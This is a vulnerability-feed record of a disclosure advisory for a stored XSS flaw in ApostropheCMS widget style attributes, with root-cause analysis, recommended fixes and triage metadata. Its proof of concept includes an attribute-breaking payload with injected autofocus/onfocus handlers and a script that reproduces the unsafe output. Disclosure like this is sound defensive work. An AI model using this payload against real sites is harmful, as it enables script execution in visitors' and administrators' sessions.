{"id":"CVE-2026-112958","kind":"vulnerability","aliases":["CVE-2026-112958","GHSA-7jg5-frgc-c67w"],"related":[],"title":"ApostropheCMS: Stored XSS via Unescaped Widget Style Attribute Serialization","description":"## Summary\n\nApostropheCMS widget styles support project-defined schema fields. If a project defines a free-form `string` style field with a CSS `property` and no selector, an editor-controlled value is rendered as an inline CSS declaration. The resulting declaration is then inserted into the widget wrapper's `style=\"...\"` attribute without HTML-attribute escaping.\n\nAn attacker who can edit the widget can include a double quote in the style value, terminate the `style` attribute, and inject new HTML event-handler attributes. The payload is stored with the widget and executes in the Apostrophe site origin whenever the affected published page is rendered.\n\nThis is a sibling of CVE-2026-33889 / `GHSA-97v6-998m-fp4g`. The earlier issue escaped from a `<style>` element through a malicious color value. This variant reaches a different sink related to the automatically generated widget wrapper's inline `style` and `class` attributes.\n\n## Details\n\n### Root Cause 1: Free-form string style values retain HTML metacharacters\n\nThe standard string field converter uses `launder.string()` and length validation. This performs type normalization, not output encoding for an HTML attribute context:\n\n[`packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/schema/lib/addFieldTypes.js#L296-L333)\n\n```javascript\nself.addFieldType({\n  name: 'string',\n  // ...\n  convert(req, field, data, destination) {\n    destination[field.name] = self.apos.launder.string(data[field.name]);\n    destination[field.name] = checkStringLength(\n      destination[field.name],\n      field.min,\n      field.max\n    );\n  }\n});\n```\n\nQuotes therefore remain in a value supplied through a style field.\n\n### Root Cause 2: The value is converted into inline CSS without value validation\n\nFor a field with `property` but no `selector` or media query, `renderScopedStyles()` selects inline rendering. The generic extractor concatenates the configured property and editor-controlled value:\n\n[`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L171-L228)\n\n[`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L598-L647)\n\n```javascript\nrule = `${property}: ${normalized.value}${normalized.unit}`;\n\n// ...\n\nif (isInline) {\n  return {\n    css: '',\n    classes: [ ...storage.classes ],\n    inline: stringifyRules(storage.styles, true)\n  };\n}\n```\n\nFor example, the value below becomes part of a `font-family` declaration:\n\n```text\nserif\" tabindex=\"0\" autofocus onfocus=\"document.body.dataset.inline='executed'\n```\n\n### Root Cause 3: Attribute values are serialized without HTML escaping\n\n`getWidgetAttributes()` places the inline CSS into an attribute tuple, then concatenates every tuple into `key=\"value\"` without encoding `&`, `<`, `>`, `'`, or `\"`:\n\n[`packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/lib/methods.js#L251-L322)\n\n```javascript\nif (styleParts.length) {\n  attrs.push(\n    [ 'style', `${styleParts.join(';')};` ]\n  );\n}\n\nif (options.asObject) {\n  return Object.fromEntries(attrs);\n}\n\nreturn attrs\n  .map(([ key, value ]) => `${key}=\"${value}\"`)\n  .join(' ');\n```\n\nThe same raw serializer also makes a project-defined free-form `string` style with `class: true` a potential sibling path, because the string is added to `classes` and later serialized into `class=\"...\"`. The inline-property path was the path dynamically verified.\n\n### Root Cause 4: The unsafe string is used by the automatic public wrapper\n\nStyled widgets use `getWidgetAttributes()` to create a wrapper around the rendered widget:\n\n[`packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/widget-type/index.js#L448-L457)\n\n```javascript\nif (hasStyles && self.options.stylesWrapper !== false) {\n  const styles = self.apos.styles.prepareWidgetStyles(widget);\n  const styleTag = self.apos.styles\n    .getWidgetElements(styles, { scene: req.scene });\n  const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles);\n\n  return `${styleTag}<div${wrapperAttrs ? ' ' + wrapperAttrs : ''}>${markup}</div>`;\n}\n```\n\nConsequently, the injected attribute is present on normal public page renders, not only in the editor UI.\n\n### Why the CVE-2026-33889 defense does not prevent this variant\n\nThe sibling advisory led to a defense in `getWidgetElements()` that rewrites `</` before CSS is inserted into a `<style>` element:\n\n```javascript\ncss = css.replaceAll('</', '<\\\\/');\n```\n\nThis protects the style-element boundary. The vulnerable path above produces `inline` output instead of `css`, so it never reaches that replacement.\n\n## Affected Configurations and Versions\n\nThe verified configuration has all of the following properties:\n\n- A widget defines a style field with a free-form type such as `string`.\n- The field uses `property` without a selector, causing inline-style rendering, or uses `class: true` with an unrestricted string value.\n- The attacker has permission to edit a widget containing the field.\n- The malicious content is published, or a higher-privileged user views the affected draft.\n\nStandard range, select, and color presets do not directly provide an unrestricted quote-containing value and were not demonstrated as affected by this variant.\n\n## Proof of Concept\n\n### Step 1: Configure a widget with a free-form inline style\n\nAdd a style field similar to the following to a widget module:\n\n```javascript\nmodule.exports = {\n  extend: '@apostrophecms/widget-type',\n  options: {\n    label: 'Style Attribute Test'\n  },\n  styles: {\n    add: {\n      customFont: {\n        type: 'string',\n        label: 'Custom Font',\n        property: 'font-family'\n      }\n    }\n  }\n};\n```\n\nThe absence of `selector` makes the generated declaration inline.\n\n### Step 2: Store the payload\n\nAs a user who may edit this widget, enter the following value in `customFont` and save the widget:\n\n```text\nserif\" tabindex=\"0\" autofocus onfocus=\"document.body.dataset.inline='executed'\n```\n\nPublish the page, or have another user view the affected draft.\n\n### Step 3: Reproduce the renderer output directly\n\nThe vulnerable data flow can also be reproduced using the real renderer and serializer from a checked-out, dependency-installed repository:\n\n```javascript\nconst methodsFactory = require(\n  './packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js'\n);\n\n(async () => {\n  const { renderScopedStyles } = await import(\n    './packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs'\n  );\n\n  const payload =\n    'serif\" tabindex=\"0\" autofocus ' +\n    'onfocus=\"document.body.dataset.inline=\\'executed\\'';\n\n  const styles = renderScopedStyles(\n    [ {\n      name: 'customFont',\n      type: 'string',\n      property: 'font-family'\n    } ],\n    { customFont: payload }\n  );\n\n  Object.assign(styles, {\n    styleId: 'audit-inline',\n    widgetId: 'widget-1'\n  });\n\n  const attrs = methodsFactory({}, {}).getWidgetAttributes(styles);\n  console.log('inline:', styles.inline);\n  console.log('attributes:', attrs);\n})();\n```\n\n### Step 4: Observe the unsafe HTML\n\nThe current renderer produced:\n\n```text\ninline: font-family: serif\" tabindex=\"0\" autofocus onfocus=\"document.body.dataset.inline='executed';\n```\n\nThe serializer then produced an attribute string equivalent to:\n\n```html\nid=\"audit-inline\"\ndata-apos-widget-style-wrapper-for=\"widget-1\"\ndata-apos-widget-style-classes=\"\"\nstyle=\"font-family: serif\" tabindex=\"0\" autofocus\nonfocus=\"document.body.dataset.inline='executed';\"\n```\n\nThe attacker-controlled quote terminates the `style` attribute. `tabindex`, `autofocus`, and `onfocus` become separate live attributes.\n\n### Step 5: Confirm execution in a browser\n\nWhen the generated wrapper was loaded in Chrome 153, autofocus triggered the injected handler automatically. The DOM changed to:\n\n```html\n<body data-inline=\"executed\">\n  <div id=\"audit-inline\" tabindex=\"0\" autofocus=\"\" onfocus=\"...\"></div>\n</body>\n```\n\nThe safe behavior would be for the quote to appear as `&quot;` inside the `style` attribute, with no injected attributes and no change to `document.body.dataset`.\n\n## Impact\n\n- **Stored XSS on published pages:** JavaScript executes for unauthenticated visitors who load a page containing the affected widget.\n- **Privilege escalation:** If an administrator or another privileged editor views the page or draft, the payload executes with that user's application-origin privileges and can perform authenticated actions available to the victim.\n- **Persistent content manipulation:** The payload is stored with widget content and continues to execute until the style value is removed or the output path is fixed.\n- **Phishing and data access:** The script can alter the rendered page, read non-HttpOnly same-origin data, and issue same-origin requests as the victim.\n\n## Recommended Fix\n\n### Fix 1: HTML-escape every string-returning attribute value\n\nThe string branch of `getWidgetAttributes()` should encode values for a double-quoted HTML attribute context before concatenation. At minimum, encode `&`, `<`, `>`, `\"`, and `'` using a centralized Apostrophe HTML encoder.\n\nConceptually:\n\n```javascript\nif (options.asObject) {\n  return Object.fromEntries(attrs);\n}\n\nreturn attrs\n  .map(([ key, value ]) => {\n    return `${key}=\"${escapeHtmlAttribute(String(value))}\"`;\n  })\n  .join(' ');\n```\n\nThe structured `asObject` branch should remain structured so that its eventual template/DOM renderer can perform context-appropriate encoding.\n\n### Fix 2: Validate style values by their destination grammar\n\nOutput encoding is the primary fix. As defense in depth:\n\n- Require select/range/color or another constrained type for common CSS properties.\n- Parse and validate free-form CSS property values instead of treating them as arbitrary strings.\n- For `class: true`, accept only individual valid class-name tokens rather than an unrestricted string.","summary":"ApostropheCMS does not HTML-escape a project-defined free-form string style value when it writes the widget wrapper's inline style attribute, so an editor can store a value that closes the attribute and adds event-handler attributes. The injected script runs in the site origin for visitors of published pages that contain the widget, and for any privileged user who views it.","severity":"medium","cvss":5.400000095367432,"epss":0.0030300000216811895,"exploited":false,"exploited_at":null,"products":[{"name":"apostrophe","fixed":["4.34.0"],"affected":"< 4.34.0","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["apostrophe","cms","cwe-79","node","npm","package"],"not_affected_if":["apostrophe-4.34.0-or-later","no-free-form-string-style-fields","static-export"],"how_to_check":"Check whether any widget module under the project defines a style field with type 'string' and a 'property' but no 'selector' (or uses class: true on a string style).\nCheck the installed apostrophe version: npm ls apostrophe\nConfirm the version is 4.34.0 or later.","fix":"Upgrade apostrophe to 4.34.0 or later.\nUntil then, change free-form string style fields to select, range or color types, or remove them.","status":"open","published_at":"2026-10-20T17:17:33+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T19:58:15+00:00","updated_at":"2026-10-23T21:57:20+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T19:58:15Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade apostrophe to 4.34.0 or later.\nUntil then, change free-form string style fields to select, range or color types, or remove them.","summary":"ApostropheCMS does not HTML-escape a project-defined free-form string style value when it writes the widget wrapper's inline style attribute, so an editor can store a value that closes the attribute and adds event-handler attributes. The injected script runs in the site origin for visitors of published pages that contain the widget, and for any privileged user who views it.","category":"package","who_cares":["apostrophe","npm","node","cms"],"confidence":0.8,"analyst_note":"","how_to_check":"Check whether any widget module under the project defines a style field with type 'string' and a 'property' but no 'selector' (or uses class: true on a string style).\nCheck the installed apostrophe version: npm ls apostrophe\nConfirm the version is 4.34.0 or later.","needs_analyst":false,"not_affected_if":["apostrophe-4.34.0-or-later","no-free-form-string-style-fields","static-export"],"severity_if_unknown":"medium"},"cost_usd":0.000792,"input_tokens":6023,"output_tokens":380,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-112958':12A,20A '-2026':11A,19A,209C '-33889':210C '-79':25B '7jg5':15A '97v6':213C '998m':214C 'add':67B 'affect':198C 'apostroph':22B,193C 'apostrophe':21A 'apostrophecm':1A,29B,97C 'attack':155C 'attribut':8A,54B,65B,71B,148C,152C,173C,181C 'c67w':17A 'close':63B 'cms':23B 'contain':86B 'control':127C 'css':119C,134C 'cve':10A,18A,208C 'cwe':24B 'declar':135C,138C 'defin':38B,103C,109C 'doubl':164C 'earlier':217C 'edit':158C 'editor':57B,126C 'editor-control':125C 'escap':34B,153C,219C 'event':69B,179C 'event-handl':68B,178C 'execut':190C 'field':105C,116C 'form':41B,113C 'fp4g':215C 'free':40B,112C 'free-form':39B,111C 'frgc':16A 'ghsa':14A,212C 'ghsa-7jg5-frgc-c67w':13A 'ghsa-97v6-998m-fp4g':211C 'handler':70B,180C 'html':33B,151C,177C 'html-attribut':150C 'html-escap':32B 'includ':162C 'inject':73B,175C 'inlin':52B,133C 'insert':141C 'issu':218C 'new':176C 'node':26B 'npm':27B 'origin':79B,195C 'packag':28B 'page':84B,200C 'payload':183C 'privileg':92B 'project':37B,102C,108C 'project-defin':36B,101C 'properti':120C 'publish':83B,199C 'quot':165C 'render':130C,202C 'result':137C 'run':75B 'schema':104C 'script':74B 'selector':123C 'serial':9A 'sibl':206C 'site':78B,194C 'store':2A,59B,185C 'string':42B,114C 'style':7A,43B,53B,99C,115C,147C,168C,172C 'summari':96C 'support':100C 'termin':170C 'unescap':5A 'user':93B 'valu':44B,61B,128C,169C 'via':4A 'view':95B 'visitor':81B 'whenev':196C 'widget':6A,49B,88B,98C,144C,160C,188C 'without':149C 'wrapper':50B,145C 'write':47B 'xss':3A","nicknames":[],"mitigations":[],"who_affected":null,"tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-20T17:17:33+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-7jg5-frgc-c67w","url":"https://github.com/advisories/GHSA-7jg5-frgc-c67w","severity":"medium","published_at":"2026-10-21T17:15:07+00:00","modified_at":"2026-10-21T17:15:08+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-112958","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112958","severity":null,"published_at":"2026-10-20T17:17:33+00:00","modified_at":"2026-10-20T19:53:10+00:00","first_seen_at":"2026-10-23T21:57:20+00:00","fetched_at":"2026-10-23T22:28:58+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}